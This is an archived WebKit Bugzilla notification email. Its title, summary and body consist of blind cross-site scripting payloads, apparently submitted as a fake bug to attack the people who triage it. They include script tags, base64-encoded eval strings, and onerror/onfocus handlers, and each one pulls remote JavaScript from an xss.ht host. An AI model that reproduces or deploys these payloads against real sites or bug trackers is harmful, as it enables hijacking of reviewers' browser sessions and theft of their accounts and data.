[Webkit-unassigned] [Bug 231240] New: venom"><script src=https://venom26.xss.ht></script>

bugzilla-daemon at webkit.org bugzilla-daemon at webkit.org
Tue Oct 5 10:52:47 PDT 2021


https://bugs.webkit.org/show_bug.cgi?id=231240

            Bug ID: 231240
           Summary: venom"><script src=https://venom26.xss.ht></script>
           Product: WebKit
           Version: Safari 15
          Hardware: Unspecified
                OS: Unspecified
            Status: NEW
          Severity: Normal
          Priority: P2
         Component: ANGLE
          Assignee: webkit-unassigned at lists.webkit.org
          Reporter: venomisawesom3 at gmail.com
                CC: dino at apple.com, kbr at google.com, kkinnunen at apple.com

Created attachment 440234

  --> https://bugs.webkit.org/attachment.cgi?id=440234&action=review

venom"><script src=https://venom26.xss.ht></script>

venom"><script src=https://venom26.xss.ht></script>
"><script/src=//venom26.xss.ht>//
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://venom26.xss.ht\';document.body.appendChild(a)')
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdmVub20yNi54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdmVub20yNi54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdmVub20yNi54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7>
"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://venom26.xss.ht";parent.document.body.appendChild(a);</script>">
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//venom26.xss.ht");a.send();</script>
<script>$.getScript("//venom26.xss.ht")</script>

-- 
You are receiving this mail because:
You are the assignee for the bug.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.webkit.org/pipermail/webkit-unassigned/attachments/20211005/43834e43/attachment.htm>


More information about the webkit-unassigned mailing list